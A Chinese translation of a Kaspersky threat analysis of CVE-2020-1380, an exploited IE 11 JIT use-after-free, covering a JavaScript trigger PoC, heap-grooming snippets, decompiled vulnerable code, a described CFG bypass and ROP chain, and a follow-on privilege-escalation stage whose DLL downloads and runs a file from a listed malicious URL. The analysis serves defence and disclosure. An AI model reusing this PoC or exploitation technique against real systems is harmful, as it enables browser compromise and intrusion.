已遭利用的Windows 0day漏洞 CVE-2020-1380 分析

编译:代码卫士

卡巴斯基发布博客文章,简要分析了微软在8月补丁星期二修复的一个已遭利用 0day CVE-2020-1380。如下内容编译自该文章。

文章指出,2020年5月,卡巴斯基阻止了利用 IE 恶意脚本攻击某韩国公司的一次攻击活动。进一步分析发现该攻击利用了此前未知的完整链,内含两个0day exploit:一个是IE 的远程代码执行 exploit,一个是 Windows 的提权 exploit。和此前 OperationWizardOpium 攻击使用的完整链不同,这个新的完整链利用的是 Windows 10的最新版本,测试发现对 IE 11和 Windows 10 版本 18363 x64 的可靠利用。

2020年6月8日,卡巴斯基将问题告知微软并得到证实。当时,微软已开始为 CVE-2020-0986 准备补丁,不过刚开始对它的漏洞利用程度描述为“可能性较小”。该漏洞补丁在2020年6月9日发布。

微软在8月的补丁星期二为 JScript中的释放后使用漏洞分配编号 CVE-2020-1380。卡巴斯基将相关攻击活动称为“OperationPowerFall”。卡巴斯基表示目前尚无法确切地将它和任何威胁组织相联系,但鉴于和之前 exploit 存在的相似之处,它认为 DarkHotel 可能是攻击的幕后黑手。

 

IE 11 远程代码执行 exploit

近期发现的 IE 0day exploit 利用的是位于遗留的 JavaScript 引擎 jscript.dll 中的CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和CVE-2018-8563。而CVE-2020-1380是存在于 jscript9.dll 中的漏洞,默认出现在IE9及后续版本中,因此,微软推荐的缓解措施(限制使用 jscript.dll)无法保护用户免受攻击。

CVE-2020-1380 是由 JIT 优化和缺乏对 JIT 编译代码进行检查造成的一个释放后使用漏洞。如下是触发该漏洞的 PoC:

function func(O, A, F, O2) {
    arguments.push = Array.prototype.push;
    O = 1;
    arguments.length = 0;
    arguments.push(O2);
    if (F == 1) {
        O = 2;
    }

    // execute abp.valueOf() and write by dangling pointer
    A[5] = O;
};

// prepare objects
var an = new ArrayBuffer(0x8c);
var fa = new Float32Array(an);

// compile func
func(1, fa, 1, {});
for (var i = 0; i < 0x10000; i++) {
    func(1, fa, 1, 1);
}

var abp = {};
abp.valueOf = function() {

    // free 
    worker = new Worker('worker.js');
    worker.postMessage(an, [an]);
    worker.terminate();
    worker = null;

    // sleep
    var start = Date.now();
    while (Date.now() - start < 200) {}

    // TODO: reclaim freed memory

    return 0
};

try {
    func(1, fa, 0, abp);
} catch (e) {
    reload()
}

要理解该漏洞,首先明确 func() 是如何执行的。有必要了解下A[5] 的赋值是什么。从代码中可看到,它应该是一个参数 O。在函数启动时,参数O被重新赋值为1,但之后函数参数长度被设定为0。这一操作不会清空函数参数(通常对常规数组会清空),但允许通过使用Array.prototype.push 将参数O2放入索引为0的参数列表中,也就是说现在O = O2。此外,如果参数F等于1,那么 O 会被再次重新赋值,不过是赋值为整数2。这说明根据参数F的不同赋值,参数O要么被赋值为O2参数的值,要么是整数2。参数A是一个32位浮点数的类型化数组,在将值分配给该数组索引5处之前,这个值应该被转换为浮点数类型。虽然将整数转换为浮点数相对简单,但当对象转换为浮点数时就没有这么简单了。该 exploit 使用了具有覆盖了valueOf() 方法的abp 对象。虽然当项目被转换为浮点数时会执行该方法,但方法内部含有释放 ArrayBuffer 的代码。该代码由 Float32Array 查看,并在其中设置返回值。为了阻止该值被存储在已释放的对象内存中,JavaScript 引擎需要在其中存储该值时检查对象的状态。为了安全地转换并存储浮点数值,JScript9.dll 使用了函数Js::TypedArray<float,0>::BaseTypedDirectSetItem()。该函数的反编译代码如下:


int Js::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0> *this, unsigned int index, void *object, int reserved)
{
    Js::JavascriptConversion::ToNumber(object, this->type->library->context);
    if ( LOBYTE(this->view[0]->unusable) )
        Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);
    if ( index < this->count )
    {
        *(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(
            object,
            this->type->library->context);
    }
    return 1;
}
 
double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context)
{
    if ( (unsigned char)object & 1 )
        return (double)((int)object >> 1);
    if ( *(void **)object == VirtualTableInfo<Js::JavascriptNumber>::Address[0] )
        return *((double *)object + 1);
    return Js::JavascriptConversion::ToNumber_Full(object, context);
}
该函数检查类型为浮点数的数组的view[0]->unusable和 count 字段以及在 valueOf()方法执行期间何时释放 ArrayBuffer。这两种检查都会失败,原因是 view[0]->unusable会被赋值为1,而count会在第一次调用 Js::JavascriptConversion::ToNumber()时赋值为0。问题在于,函数 Js::TypedArray<float,0>::BaseTypedDirectSetItem()仅用于解释模式下。
当函数 func() 被JIT编译时,JavaScript 引擎将使用如下易受攻击的代码。

if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray<float,0>::vftable )
{
  if ( floatArray->count > index )
  {
    buffer = floatArray->buffer + 4*index;
    if ( object & 1 )
    {
      *(float *)buffer = (double)(object >> 1);
    }
    else
    {
      if ( *(void *)object != &Js::JavascriptNumber::vftable )
      {
        Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);
      }
      else
      {
        *(float *)buffer = *(double *)(object->value);
      }
    }
  }
}

Js::JavascriptConversion::ToFloat_Helper() 函数代码如下:

void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context)
{
  *buffer = Js::JavascriptConversion::ToNumber_Full(object, context);
}

可以看到,和解释模式下不同,在 JIT 编译代码中,ArrayBuffer 的生命周期并未得到检查,其内存可被释放,随后通过调用 valueOf() 函数重新回收。另外,攻击者能够控制返回值编写的索引是什么。然而,当把 PoC 中的“arguments.length =0;”和“arguments.push(O2);”替换为“arguments[0] = O2;”时,那么由于间接调用会被禁用且它不会调用 valueOf() 函数,因此  Js::JavascriptConversion::ToFloat_Helper()将不会触发该 bug。

为了确保函数 func() 会被JIT编译,exploit 会执行 0x10000 次函数,对整数进行非恶意转换,而且只有当 func() 被再次执行时,才会触发该 bug。为了释放 ArrayBuffer,该exploit 使用了常见的 Web Workers API 滥用技术。函数 postMessage() 可用于将对象序列化到消息并将其发送给 worker。不过它带来的负面影响是,被传输的对象得到释放且在当前的脚本上下文中变得不稳定。当 ArrayBuffer 被释放时,exploit 通过模拟 Sleep() 函数使用的代码触发垃圾回收:它是一个 while 循环,检查 Data.now() 和之前所存储值之间的时间差。之后,该 exploit 会通过整数数组回收内存。

for (var i = 0; i < T.length; i += 1) {
        T[i] = new Array((0x1000 - 0x20) / 4);
        T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket
    }

创建大量数组后,IE会分配新的 LargeHeapBlock 对象,用于 IE 的自定义堆实现。LargeHeapBlock 对象将会存储为这些数组分配的地址。如果预期的内存布局成功实现,那么该漏洞会覆盖 LargeHeapBlock的偏移量 0x14 处的值为0,而这恰好是分配的块计数。

之后,该 exploit 分配大量数组并将它们设置为在利用初始阶段的另外一个数组。然后该数组被赋值为 null,而 exploit 会调用函数 CollectGarbage()。这就导致堆碎片整理,并且修改后的 LargeHeapBlock 及其相关的数组缓冲区将被释放。在这个阶段,漏洞利用会创建大量的整数数组,以期收回之前释放的数组缓冲区。新创建的数组的magic 值设置为索引0,并且通过指向先前释放的数组的悬空指针检查该值,以检测利用是否成功。

        for (var i = 0; i < K.length; i += 1) {
            K[i] = new Array((0x1000 - 0x20) / 4);
            K[i][0] = 0x888; // store magic
        }

        for (var i = 0; i < T.length; i += 1) {
            if (T[i][0] == 0x888) { // find array accessible through dangling pointer
                R = T[i];
                break;
            }
        }

结果,该exploit 就创建了缓冲区指向同一位置的两个不同的JavascriptNativeIntArray 对象。这就使得检索对象地址、甚至是创建新的恶意对象成为可能。该 exploit 利用这些原语创建恶意 DataView 对象并获得对该进程整体地址空间的读/写访问权限。

构建了任意读/写原语后,就应该绕过 Control FlowGuard (CFG) 并执行代码。该exploit利用 Array 的 vftable 指针获得 jscript9.dll 的模块基址。之后,解析 jscript9.dll 的PE标头获取 Import DirectoryTable 的地址并解析其它模块的基址。这样做的目的是找到函数VirtualProtect() 的地址,从而使shellcode 变得可执行。之后,该 exploit 查找jscript9.dll 中的两个签名。这些签名对应Unicode 字符串“split”和函数JsUtil::DoublyLinkedListElement<ThreadContext>::LinkToBeginning<ThreadContext>()。该Unicode字符串“split”的地址用于获得该字符串的代码引用,以此解析实现字符串方法 split() 的函数 Js::JavascriptString::EntrySplit()的地址。函数LinkToBeginning<ThreadContext>() 的地址用于获取全局连接列表中第一个ThreadContext 对象的地址。该 exploit 定位连接列表中的最后一个输入并以此获得负责执行该脚本的栈的位置。接下来就是最后一个阶段了。该 exploit 执行 split() 方法并且具有覆写的 valueOf() 方法的对象作为一个limit参数提供。在执行Js::JavascriptString::EntrySplit()函数过程中执行被覆写的 valueOf() 方法时,该 exploit会搜索线程的栈,找到返回地址,将shellcode 放在准备好的缓冲区中,获取其地址并最终构建一个和面向返回的编程 (ROP) 链,通过覆写该函数的地址执行 shellcode。

 

下一步

该 shellcode 是附加在 shellcode 的可移植可执行文件 (PE) 模块的反射型 DLL 加载器。该模块非常小,而且整个功能位于一个函数中。它在临时文件夹中创建了一份文件,文件名为“ok.exe”并写入另外一个位于远程代码执行 exploit 中的另一个可执行文件的内容。之后,”ok.exe”被执行。

可执行文件“ok.exe”中包含的是任意指针应用漏洞 CVE-2020-0986 的提权 exploit。最初该漏洞是由一名匿名研究员在2019年12月通过趋势科技的 ZDI 项目报告给微软的,但由于微软在6个月之后仍未修复该漏洞,因此ZDI在5月19日公开漏洞详情。第二天该漏洞遭利用。

CVE-2020-0986 使得能够通过进程间通信读写splwow64.exe进程的任意内存、在splwow64.exe进程中实现代码执行、绕过 CFG 和 EncodePointer 防护措施。该 exploit的资源中内嵌着两个可执行文件。第一个是以 XreateDC.exe 写入磁盘,用于创建设备上下文 (DC) 以实施利用。第二个可执行文件的名称是“PoPc.dll”,且如果利用成功,则会被具有中等完整性级别的 splwow64.exe执行。

PoPc.dll 的主要功能也存在于一个函数中。它执行编码的 PowerShell 命令,从www[.]static-cdn1[.]com/update.zip中下载文件,在临时文件夹中保存为 upgrader.exe并执行。由于卡巴斯基在可执行文件下载前就已阻止该攻击,因此我们无法分析upgrader.exe。

IoC:

www[.]static-cdn1[.]com/update.zip
B06F1F2D3C016D13307BC7CE47C90594
D02632CFFC18194107CC5BF76AECA7E87E9082FED64A535722AD4502A4D51199
5877EAECA1FE8A3A15D6C8C5D7FA240B
7577E42177ED7FC811DE4BC854EC226EB037F797C3B114E163940A86FD8B078B
B72731B699922608FF3844CCC8FC36B4
7765F836D2D049127A25376165B1AC43CD109D8B9D8C5396B8DA91ADC61ECCB1
E01254D7AF1D044E555032E1F78FF38F
81D07CAE45CAF27CBB9A1717B08B3AB358B647397F08A6F9C7652D00DBF2AE24

(完)